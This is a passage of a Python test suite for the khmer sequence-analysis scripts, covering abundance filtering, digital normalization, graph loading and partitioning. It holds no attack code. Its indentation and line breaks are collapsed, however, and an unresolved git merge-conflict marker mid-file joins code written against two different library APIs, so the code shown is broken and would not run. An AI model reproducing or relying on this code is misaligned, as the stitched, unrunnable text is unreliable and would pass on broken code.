shutil.copyfile(utils.get_test_data('test-filter-abund-Ns.fq'), infile) counting_ht = _make_counting(infile, K=17) script = 'filter-abund.py' args = ['-C', '3', counting_ht, infile] utils.runscript(script, args, in_dir) outfile = infile + '.abundfilt' assert os.path.exists(outfile), outfile # test for a sequence with an 'N' in it -- names = set([r.name for r in screed.open(outfile, parse_description=0)]) assert '895:1:37:17593:9954 1::FOO_withN' in names, names # check to see if that 'N' was properly changed to an 'A' seqs = set([r.sequence for r in screed.open(outfile)]) assert 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAG' not in seqs, seqs # ...and that an 'N' remains in the output sequences found_N = False for s in seqs: if 'N' in s: found_N = True assert found_N, seqs def test_filter_abund_single_8_retain_Ns(): # check that filter-abund-single retains # sequences with Ns, and treats them as As. infile = utils.get_temp_filename('test.fq') in_dir = os.path.dirname(infile) # copy test file over to test.fq & load into counting table shutil.copyfile(utils.get_test_data('test-filter-abund-Ns.fq'), infile) script = 'filter-abund-single.py' args = ['-k', '17', '-x', '1e7', '-N', '2', '-C', '3', infile] utils.runscript(script, args, in_dir) outfile = infile + '.abundfilt' assert os.path.exists(outfile), outfile # test for a sequence with an 'N' in it -- names = set([r.name for r in screed.open(outfile, parse_description=0)]) assert '895:1:37:17593:9954 1::FOO_withN' in names, names # check to see if that 'N' was properly changed to an 'A' seqs = set([r.sequence for r in screed.open(outfile)]) assert 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAG' not in seqs, seqs # ...and that an 'N' remains in the output sequences found_N = False for s in seqs: if 'N' in s: found_N = True assert found_N, seqs def test_filter_stoptags(): infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) stopfile = utils.get_temp_filename('stoptags', in_dir) # first, copy test-abund-read-2.fa to 'test.fa' in the temp dir. shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) # now, create a file with some stop tags in it -- K = 18 kh = khmer.new_hashbits(K, 1, 1) kh.add_stop_tag('GTTGACGGGGCTCAGGGG') kh.save_stop_tags(stopfile) del kh # finally, run filter-stoptags. script = 'filter-stoptags.py' args = ['-k', str(K), stopfile, infile, infile] utils.runscript(script, args, in_dir) # verify that the basic output file exists outfile = infile + '.stopfilt' assert os.path.exists(outfile), outfile # it should contain only one unique sequence, because we've trimmed # off everything after the beginning of the only long sequence in there. seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs, seqs def test_filter_stoptags_fq(): infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) stopfile = utils.get_temp_filename('stoptags', in_dir) # first, copy test-abund-read-2.fa to 'test.fa' in the temp dir. shutil.copyfile(utils.get_test_data('test-abund-read-2.fq'), infile) # now, create a file with some stop tags in it -- K = 18 kh = khmer.new_hashbits(K, 1, 1) kh.add_stop_tag('GTTGACGGGGCTCAGGGG') kh.save_stop_tags(stopfile) del kh # finally, run filter-stoptags. script = 'filter-stoptags.py' args = ['-k', str(K), stopfile, infile, infile] utils.runscript(script, args, in_dir) # verify that the basic output file exists outfile = infile + '.stopfilt' assert os.path.exists(outfile), outfile # it should contain only one unique sequence, because we've trimmed # off everything after the beginning of the only long sequence in there. seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs, seqs # make sure that record names are carried through unparsed names = [r.name for r in screed.open(outfile, parse_description=False)] names = set(names) assert 'seq 1::BAR' in names def test_normalize_by_median_indent(): infile = utils.get_test_data('paired-mixed.fa.pe') hashfile = utils.get_test_data('normC20k20.ct') outfile = utils.get_temp_filename('paired-mixed.fa.pe.keep') script = 'normalize-by-median.py' args = ['--loadtable', hashfile, '-o', outfile, infile] (status, out, err) = utils.runscript(script, args) assert status == 0, (out, err) assert os.path.exists(outfile) def test_normalize_by_median(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 1, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert "IOErrors" not in err def test_normalize_by_median_unpaired_final_read(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('single-read.fq'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-p', infile] try: (status, out, err) = utils.runscript(script, args, in_dir) raise Exception("Shouldn't get to this") except AssertionError as e: out = str(e) assert "ERROR: Unpaired reads when require_paired" in out, out def test_normalize_by_median_unforced_badfile(): CUTOFF = '1' infile = utils.get_temp_filename("potatoes") outfile = infile + '.keep' in_dir = os.path.dirname(infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] try: (status, out, err) = utils.runscript(script, args, in_dir) raise Exception("Shouldn't get to this") except AssertionError as e: out = str(e) assert "ERROR: [Errno 2] No such file or directory:" in out, out if os.path.exists(outfile): assert False, '.keep file should have been removed: ' def test_normalize_by_median_contradictory_args(): infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) outfile = utils.get_temp_filename('report.out') shutil.copyfile(utils.get_test_data('test-large.fa'), infile) script = 'normalize-by-median.py' args = ['-C', '1', '-k', '17', '--force-single', '-p', '-R', outfile, infile] try: (status, out, err) = utils.runscript(script, args, in_dir) raise Exception("Shouldn't get to this") except AssertionError as e: out = str(e) assert "cannot both be set" in out, out def test_normalize_by_median_stdout_3(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile, '--out', '-'] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err assert 'in /dev/stdout' in err, err assert "IOErrors" not in err @attr('known_failing') def test_normalize_by_median_known_good(): CUTOFF = '2' infile = utils.get_temp_filename('test.fa.gz') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('100k-filtered.fa.gz'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '20', '-x', '4e6', infile] (status, out, err) = utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile iter_known = screed.open(utils.get_test_data('100k-filtered.fa.keep.gz')) iter_out = screed.open(outfile) try: for rknown, rout in zip(iter_known, iter_out): assert rknown.name == rout.name except Exception as e: print(e) assert False def test_normalize_by_median_report_fp(): infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) outfile = utils.get_temp_filename('report.out') shutil.copyfile(utils.get_test_data('test-large.fa'), infile) script = 'normalize-by-median.py' args = ['-C', '1', '-k', '17', '-R', outfile, infile] (status, out, err) = utils.runscript(script, args, in_dir) assert "fp rate estimated to be 0.626" in err, err report = open(outfile, 'r') line = report.readline() assert "100000 25232 0.25232" in line, line def test_normalize_by_median_unpaired_and_paired(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-paired.fa'), infile) unpairedfile = utils.get_temp_filename('test1.fa', tempdir=in_dir) shutil.copyfile(utils.get_test_data('random-20-a.fa'), unpairedfile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-u', unpairedfile, '-p', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 4029' in err, err outfile = infile + '.keep' assert os.path.exists(outfile), outfile def test_normalize_by_median_count_kmers_PE(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) # The test file has one pair of identical read except for the last base # The 2nd read should be discarded in the unpaired mode # but kept in the paired end mode adding only one more unique kmer shutil.copyfile(utils.get_test_data('paired_one.base.dif.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '--force-single', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 98' in err, err assert 'kept 1 of 2 or 50%' in err, err args = ['-C', CUTOFF, '-k', '17', '-p', infile] (status, out, err) = utils.runscript(script, args, in_dir) assert 'Total number of unique k-mers: 99' in err, err assert 'kept 2 of 2 or 100%' in err, err def test_normalize_by_median_double_file_name(): infile = utils.get_temp_filename('test-abund-read-2.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = [utils.get_test_data('test-abund-read-2.fa'), infile] try: (status, out, err) = utils.runscript(script, args, in_dir) except AssertionError as e: assert "Duplicate filename--Cannot handle this!" in str(e), str(e) def test_normalize_by_median_overwrite(): outfile = utils.get_temp_filename('test.fa.keep') shutil.copyfile(utils.get_test_data('test-abund-read.fa'), outfile) in_dir = os.path.dirname(outfile) CUTOFF = '1' infile = utils.get_temp_filename('test.fa', in_dir) shutil.copyfile(utils.get_test_data('test-abund-read-3.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-o', outfile, infile] (status, out, err) = utils.runscript(script, args, in_dir) assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 1, seqs assert 'GACAGCgtgCCGCA' in seqs[0], seqs def test_normalize_by_median_version(): script = 'normalize-by-median.py' args = ['--version'] status, out, err = utils.runscript(script, args) errlines = err.splitlines() for err in errlines: if err.startswith('||') or \ not err.strip(): continue break print(errlines) print(err) assert err.startswith('khmer ') def test_normalize_by_median_2(): CUTOFF = '2' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 2, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert seqs[1] == 'GGTTGACGGGGCTCAGGG', seqs def test_normalize_by_median_paired(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-paired.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-p', '-k', '17', infile] utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 2, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert seqs[1].startswith('GGTTGACGGGGCTCAGGG'), seqs def test_normalize_by_median_paired_fq(): CUTOFF = '20' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-paired.fq'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-p', '-k', '17', infile] _, out, err = utils.runscript(script, args, in_dir) print(out) print(err) outfile = infile + '.keep' assert os.path.exists(outfile), outfile seqs = [r.sequence for r in screed.open(outfile)] assert len(seqs) == 6, len(seqs) assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG'), seqs assert seqs[1].startswith('GGTTGACGGGGCTCAGGG'), seqs names = [r.name for r in screed.open(outfile, parse_description=False)] assert len(names) == 6, names assert '895:1:37:17593:9954 1::FOO' in names, names assert '895:1:37:17593:9954 2::FOO' in names, names def test_normalize_by_median_impaired(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-impaired.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-p', '-k', '17', infile] _, out, err = utils.runscript(script, args, in_dir, fail_ok=True) assert 'ERROR: Unpaired reads ' in err, err def test_normalize_by_median_force(): CUTOFF = '1' corrupt_infile = utils.get_temp_filename('test-corrupt.fq') good_infile = utils.get_temp_filename('test-good.fq', tempdir=os.path.dirname( corrupt_infile)) in_dir = os.path.dirname(good_infile) shutil.copyfile(utils.get_test_data('test-error-reads.fq'), corrupt_infile) shutil.copyfile(utils.get_test_data('test-fastq-reads.fq'), good_infile) script = 'normalize-by-median.py' args = ['-f', '-C', CUTOFF, '-k', '17', corrupt_infile, good_infile] (status, out, err) = utils.runscript(script, args, in_dir) assert '*** Skipping' in err assert '** I/O Errors' in err, err def test_normalize_by_median_no_bigcount(): infile = utils.get_temp_filename('test.fa') hashfile = utils.get_temp_filename('test-out.ct') outfile = infile + '.keep' in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) counting_ht = _make_counting(infile, K=8) script = 'normalize-by-median.py' args = ['-C', '1000', '-k 8', '--savetable', hashfile, infile] (status, out, err) = utils.runscript(script, args, in_dir) assert status == 0, (out, err) print((out, err)) assert os.path.exists(hashfile), hashfile try: kh = khmer.load_counting_hash(hashfile) except IOError as e: assert 0, 'Should not produce an IOError: ' + str(e) assert kh.get('GGTTGACG') == 255 def test_normalize_by_median_empty(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-empty.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', infile] utils.runscript(script, args, in_dir) outfile = infile + '.keep' assert os.path.exists(outfile), outfile def test_normalize_by_median_emptycountingtable(): CUTOFF = '1' infile = utils.get_temp_filename('test.fa') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-empty.fa'), infile) script = 'normalize-by-median.py' args = ['-C', CUTOFF, '--loadtable', infile, infile] (status, out, err) = utils.runscript(script, args, in_dir, fail_ok=True) assert 'ValueError' in err, (status, out, err) def test_normalize_by_median_fpr(): MIN_TABLESIZE_PARAM = 1 infile = utils.get_temp_filename('test-fpr.fq') in_dir = os.path.dirname(infile) shutil.copyfile(utils.get_test_data('test-fastq-reads.fq'), infile) script = 'normalize-by-median.py' args = ['-f', '-k 17', '-x ' + str(MIN_TABLESIZE_PARAM), infile] (status, out, err) = utils.runscript(script, args, in_dir, fail_ok=True) assert os.path.exists(infile + '.keep') assert '** ERROR: the graph structure is too small' in err, err def write_by_chunks(infile, outfile, CHUNKSIZE=8192): ifile = io.open(infile, 'rb') ofile = io.open(outfile, 'wb') chunk = ifile.read(CHUNKSIZE) while len(chunk) > 0: ofile.write(chunk) chunk = ifile.read(CHUNKSIZE) ifile.close() ofile.close() def test_normalize_by_median_streaming(): CUTOFF = '20' infile = utils.get_test_data('100-reads.fq.gz') in_dir = os.path.dirname(infile) fifo = utils.get_temp_filename('fifo') outfile = utils.get_temp_filename('outfile') # Use a fifo to copy stdout to a file for checking os.mkfifo(fifo) thread = threading.Thread(target=write_by_chunks, args=(fifo, outfile)) thread.start() # Execute diginorm script = 'normalize-by-median.py' args = ['-C', CUTOFF, '-k', '17', '-o', fifo, infile] (status, out, err) = utils.runscript(script, args, in_dir) # Merge the thread thread.join() assert os.path.exists(outfile), outfile with open(outfile) as fp: linecount = sum(1 for _ in fp) assert linecount == 400 def test_count_median(): infile = utils.get_temp_filename('test.fa') outfile = infile + '.counts' shutil.copyfile(utils.get_test_data('test-abund-read-2.fa'), infile) counting_ht = _make_counting(infile, K=8) script = 'count-median.py' args = [counting_ht, infile, outfile] utils.runscript(script, args) assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert len(data) == 2, data assert 'seq 1001 1001.0 0.0 18' in data assert '895:1:37:17593:9954/1 1 103.803741455 303.702941895 114' in data def test_count_median_fq(): infile = utils.get_temp_filename('test.fa') outfile = infile + '.counts' shutil.copyfile(utils.get_test_data('test-abund-read-2.fq'), infile) counting_ht = _make_counting(infile, K=8) script = 'count-median.py' args = [counting_ht, infile, outfile] utils.runscript(script, args) assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert len(data) == 2, data assert 'seq 1001 1001.0 0.0 18' in data assert '895:1:37:17593:9954 1 103.803741455 303.702941895 114' in data def test_count_median_fq_csv(): infile = utils.get_temp_filename('test.fa') outfile = infile + '.counts' shutil.copyfile(utils.get_test_data('test-abund-read-2.fq'), infile) counting_ht = _make_counting(infile, K=8) script = 'count-median.py' args = ['--csv', counting_ht, infile, outfile] utils.runscript(script, args) assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert len(data) == 4, data assert 'name,median,average,stddev,seqlen' in data assert 'seq,1001,1001.0,0.0,18' in data # verify that sequence names remain unparsed with '--csv' names = set([line.split(',')[0] for line in data]) assert '895:1:37:17593:9954 1::FOO' in names, names def test_load_graph(): script = 'load-graph.py' args = ['-x', '1e7', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 3960' in err, err ht_file = outfile + '.pt' >>>>>>> origin/gotta-catch-them-all-rebased assert os.path.exists(ht_file), ht_file tagset_file = outfile + '.tagset' assert os.path.exists(tagset_file), tagset_file ht = Nodegraph.load(ht_file) ht.load_tagset(tagset_file) # check to make sure we get the expected result for this data set # upon partitioning (all in one partition). This is kind of a # roundabout way of checking that load-graph.py worked :) subset = ht.do_subset_partition(0, 0) x = ht.subset_count_partitions(subset) assert x == (1, 0), x @pytest.mark.known_failing def test_oxli_nocommand(): script = 'oxli' (status, out, err) = utils.runscript(script, []) assert status == 0 def test_load_graph_no_tags(): script = 'load-graph.py' args = ['-x', '1e7', '-N', '2', '-k', '20', '-n'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) utils.runscript(script, args) ht_file = outfile assert os.path.exists(ht_file), ht_file tagset_file = outfile + '.tagset' assert not os.path.exists(tagset_file), tagset_file assert Nodegraph.load(ht_file) # can't think of a good way to make sure this worked, beyond just # loading the ht file... @pytest.mark.known_failing def test_oxli_build_graph_no_tags(): script = 'oxli' args = ['build-graph', '-x', '1e7', '-N', '2', '-k', '20', '-n'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) utils.runscript(script, args) ht_file = outfile assert os.path.exists(ht_file), ht_file tagset_file = outfile + '.tagset' assert not os.path.exists(tagset_file), tagset_file assert Nodegraph.load(ht_file) # can't think of a good way to make sure this worked, beyond just # loading the ht file... def test_load_graph_fail(): script = 'load-graph.py' args = ['-x', '1e3', '-N', '2', '-k', '20'] # use small HT outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status == 1, status assert "** ERROR: the graph structure is too small" in err @pytest.mark.known_failing def test_oxli_build_graph_fail(): script = 'oxli' args = ['build-graph', '-x', '1e3', '-N', '2', '-k', '20'] # use small HT outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status == 1, status assert "** ERROR: the graph structure is too small" in err @pytest.mark.known_failing def test_oxli_build_graph_yuge(): script = 'oxli' args = ['build-graph', '-M', '800T', '-k', '20'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args, fail_ok=True) assert status != 0, status assert 'ERROR: Not enough free space on disk' in err def test_load_graph_write_fp(): script = 'load-graph.py' args = ['-x', '1e5', '-N', '2', '-k', '20'] # use small HT outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) ht_file = outfile assert os.path.exists(ht_file), ht_file info_file = outfile + '.info' assert os.path.exists(info_file), info_file data = [x.strip() for x in open(info_file)] data = set(data) assert '3959 unique k-mers' in data, data assert 'false positive rate estimated to be 0.002' in data @pytest.mark.known_failing def test_oxli_build_graph_write_fp(): script = 'oxli' # use small HT args = ['build-graph', '-x', '1e5', '-N', '2', '-k', '20'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) ht_file = outfile assert os.path.exists(ht_file), ht_file info_file = outfile + '.info' assert os.path.exists(info_file), info_file data = [x.strip() for x in open(info_file)] data = set(data) assert '3959 unique k-mers' in data assert 'false positive rate estimated to be 0.002' in data def test_load_graph_multithread(): script = 'load-graph.py' outfile = utils.get_temp_filename('test') infile = utils.get_test_data('test-reads.fa') args = ['-N', '4', '-x', '1e7', '-T', '8', outfile, infile] (status, out, err) = utils.runscript(script, args) @pytest.mark.known_failing def test_oxli_build_graph_multithread(): script = 'oxli' outfile = utils.get_temp_filename('test') infile = utils.get_test_data('test-reads.fa') args = ['build-graph', '-N', '4', '-x', '1e7', '-T', '8', outfile, infile] (status, out, err) = utils.runscript(script, args) def test_load_graph_max_memory_usage_parameter(): script = 'load-graph.py' args = ['-M', '2e7', '-k', '20', '-n'] outfile = utils.get_temp_filename('out') infile = utils.get_test_data('random-20-a.fa') args.extend([outfile, infile]) (status, out, err) = utils.runscript(script, args) assert 'Total number of unique k-mers: 3960' in err, err ht_file = outfile assert os.path.exists(ht_file), ht_file try: ht = Nodegraph.load(ht_file) except OSError as err: assert 0, str(err) assert (sum(ht.hashsizes()) / 8.) < 2e7, ht.hashsizes() def _make_graph(infilename, min_hashsize=1e7, n_hashes=2, ksize=20, do_partition=False, annotate_partitions=False, stop_big_traverse=False): script = 'load-graph.py' args = ['-x', str(min_hashsize), '-N', str(n_hashes), '-k', str(ksize)] outfile = utils.get_temp_filename('out') infile = infilename args.extend([outfile, infile]) utils.runscript(script, args) ht_file = outfile assert os.path.exists(ht_file), ht_file tagset_file = outfile + '.tagset' assert os.path.exists(tagset_file), tagset_file if do_partition: script = 'partition-graph.py' args = [outfile] if stop_big_traverse: args.insert(0, '--no-big-traverse') utils.runscript(script, args) script = 'merge-partitions.py' args = [outfile, '-k', str(ksize)] utils.runscript(script, args) final_pmap_file = outfile + '.pmap.merged' assert os.path.exists(final_pmap_file) if annotate_partitions: script = 'annotate-partitions.py' args = ["-k", str(ksize), outfile, infilename] in_dir = os.path.dirname(outfile) utils.runscript(script, args, in_dir) baseinfile = os.path.basename(infilename) assert os.path.exists(os.path.join(in_dir, baseinfile + '.part')) return outfile def test_partition_graph_1(): graphbase = _make_graph(utils.get_test_data('random-20-a.fa')) utils.runscript('partition-graph.py', [graphbase]) utils.runscript('merge-partitions.py', [graphbase, '-k', '20']) final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) ht = Nodegraph.load(graphbase) ht.load_tagset(graphbase + '.tagset') ht.load_partitionmap(final_pmap_file) x = ht.count_partitions() assert x == (1, 0), x # should be exactly one partition. def test_partition_graph_nojoin_k21(): # test with K=21 graphbase = _make_graph(utils.get_test_data('random-20-a.fa'), ksize=21) script = 'partition-graph.py' args = [graphbase] utils.runscript(script, args) script = 'merge-partitions.py' args = [graphbase, '-k', str(21)] utils.runscript(script, args) final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) ht = Nodegraph.load(graphbase) ht.load_tagset(graphbase + '.tagset') ht.load_partitionmap(final_pmap_file) x = ht.count_partitions() assert x == (99, 0), x # should be 99 partitions at K=21 def test_partition_load_empty_pmap(): graphbase = _make_graph(utils.get_test_data('random-20-a.fa'), ksize=24) script = 'partition-graph.py' args = [graphbase, '-s', '10'] utils.runscript(script, args) script = 'merge-partitions.py' args = [graphbase, '-k', '24'] status, out, err = utils.runscript(script, args, fail_ok=True) assert status == -1 assert 'only a header and no partition IDs' in err def test_partition_graph_nojoin_stoptags(): # test with stoptags graphbase = _make_graph(utils.get_test_data('random-20-a.fa')) # add in some stop tags ht = Nodegraph.load(graphbase) ht.add_stop_tag('TTGCATACGTTGAGCCAGCG') stoptags_file = graphbase + '.stoptags' ht.save_stop_tags(stoptags_file) del ht # run script with stoptags option script = 'partition-graph.py' args = ['--stoptags', stoptags_file, graphbase] utils.runscript(script, args) script = 'merge-partitions.py' args = [graphbase, '-k', str(20)] utils.runscript(script, args) final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) ht = Nodegraph.load(graphbase) ht.load_tagset(graphbase + '.tagset') ht.load_partitionmap(final_pmap_file) x = ht.count_partitions() assert x == (2, 0), x # should be 2 partitions def test_partition_graph_big_traverse(): graphbase = _make_graph(utils.get_test_data('biglump-random-20-a.fa'), do_partition=True, stop_big_traverse=False) final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) ht = Nodegraph.load(graphbase) ht.load_tagset(graphbase + '.tagset') ht.load_partitionmap(final_pmap_file) x = ht.count_partitions() assert x == (1, 0), x # should be exactly one partition. def test_partition_graph_no_big_traverse(): # do NOT exhaustively traverse graphbase = _make_graph(utils.get_test_data('biglump-random-20-a.fa'), do_partition=True, stop_big_traverse=True) final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) ht = Nodegraph.load(graphbase) ht.load_tagset(graphbase + '.tagset') ht.load_partitionmap(final_pmap_file) x = ht.count_partitions() assert x[0] == 4, x # should be four partitions, broken at knot. def test_partition_find_knots_execute(): graphbase = _make_graph(utils.get_test_data('random-20-a.fa')) script = 'partition-graph.py' args = [graphbase] utils.runscript(script, args) script = 'find-knots.py' args = [graphbase] utils.runscript(script, args) stoptags_file = graphbase + '.stoptags' assert os.path.exists(stoptags_file) def test_partition_find_knots_existing_stoptags(): graphbase = _make_graph(utils.get_test_data('random-20-a.fa')) script = 'partition-graph.py' args = [graphbase] utils.runscript(script, args) script = 'make-initial-stoptags.py' args = [graphbase] utils.runscript(script, args) script = 'find-knots.py' args = [graphbase] (status, out, err) = utils.runscript(script, args) stoptags_file = graphbase + '.stoptags' assert os.path.exists(stoptags_file) assert "loading stoptags" in err, err assert "these output stoptags will include the already" in err, err def test_partition_graph_too_many_threads(): graphbase = _make_graph(utils.get_test_data('random-20-a.fa')) utils.runscript('partition-graph.py', [graphbase, '--threads', '100']) utils.runscript('merge-partitions.py', [graphbase, '-k', '20']) final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) ht = Nodegraph.load(graphbase) ht.load_tagset(graphbase + '.tagset') ht.load_partitionmap(final_pmap_file) x = ht.count_partitions() assert x == (1, 0), x # should be exactly one partition. def test_annotate_partitions(): seqfile = utils.get_test_data('random-20-a.fa') graphbase = _make_graph(seqfile, do_partition=True) in_dir = os.path.dirname(graphbase) # get the final pmap file final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) script = 'annotate-partitions.py' args = ["-k", "20", graphbase, seqfile] utils.runscript(script, args, in_dir) partfile = os.path.join(in_dir, 'random-20-a.fa.part') parts = [r.name.split('\t')[1] for r in screed.open(partfile)] parts = set(parts) assert '2' in parts assert len(parts) == 1 def test_annotate_partitions_2(): # test with K=21 (no joining of sequences) seqfile = utils.get_test_data('random-20-a.fa') graphbase = _make_graph(seqfile, do_partition=True, ksize=21) in_dir = os.path.dirname(graphbase) # get the final pmap file final_pmap_file = graphbase + '.pmap.merged' assert os.path.exists(final_pmap_file) script = 'annotate-partitions.py' args = ["-k", "21", graphbase, seqfile] utils.runscript(script, args, in_dir) partfile = os.path.join(in_dir, 'random-20-a.fa.part') parts = [r.name.split('\t')[1] for r in screed.open(partfile)] parts = set(parts) print(parts) assert len(parts) == 99, len(parts) def test_extract_partitions(): seqfile = utils.get_test_data('random-20-a.fa') graphbase = _make_graph( seqfile, do_partition=True, annotate_partitions=True) in_dir = os.path.dirname(graphbase) # get the final part file partfile = os.path.join(in_dir, 'random-20-a.fa.part') # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['extracted', partfile] utils.runscript(script, args, in_dir) distfile = os.path.join(in_dir, 'extracted.dist') groupfile = os.path.join(in_dir, 'extracted.group0000.fa') assert os.path.exists(distfile) assert os.path.exists(groupfile) dist = open(distfile).readline() assert dist.strip() == '99 1 1 99' parts = [r.name.split('\t')[1] for r in screed.open(partfile)] assert len(parts) == 99, len(parts) parts = set(parts) assert len(parts) == 1, len(parts) def test_extract_paired_inconsistent_formats(): fa_seqfile = utils.get_test_data('random-20-a.fa') fq_seqfile = utils.get_test_data('random-20-a.fq') graphbase = _make_graph( fa_seqfile, do_partition=True, annotate_partitions=True) fa_in_dir = os.path.dirname(graphbase) graphbase = _make_graph( fq_seqfile, do_partition=True, annotate_partitions=True) fq_in_dir = os.path.dirname(graphbase) # XXX # get the final part file fa_partfile = os.path.join(fa_in_dir, 'random-20-a.fa.part') fq_partfile = os.path.join(fq_in_dir, 'random-20-a.fq.part') # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['extracted', fa_partfile, fq_partfile] failed = True try: utils.runscript(script, args, fa_in_dir) failed = False except AssertionError as err: assert "Input files must have consistent format." in str(err), err assert failed, "Expected to fail" def test_extract_partitions_header_whitespace(): seqfile = utils.get_test_data('test-overlap2.fa') graphbase = _make_graph( seqfile, do_partition=True, annotate_partitions=True) in_dir = os.path.dirname(graphbase) # get the final part file partfile = os.path.join(in_dir, 'test-overlap2.fa.part') # ok, now run extract-partitions. script = 'extract-partitions.py' args = ['extracted', partfile] utils.runscript(script, args, in_dir) distfile = os.path.join(in_dir, 'extracted.dist') groupfile = os.path.join(in_dir, 'extracted.group0000.fa') assert os.path.exists(distfile) assert os.path.exists(groupfile) dist = open(distfile).readline() assert 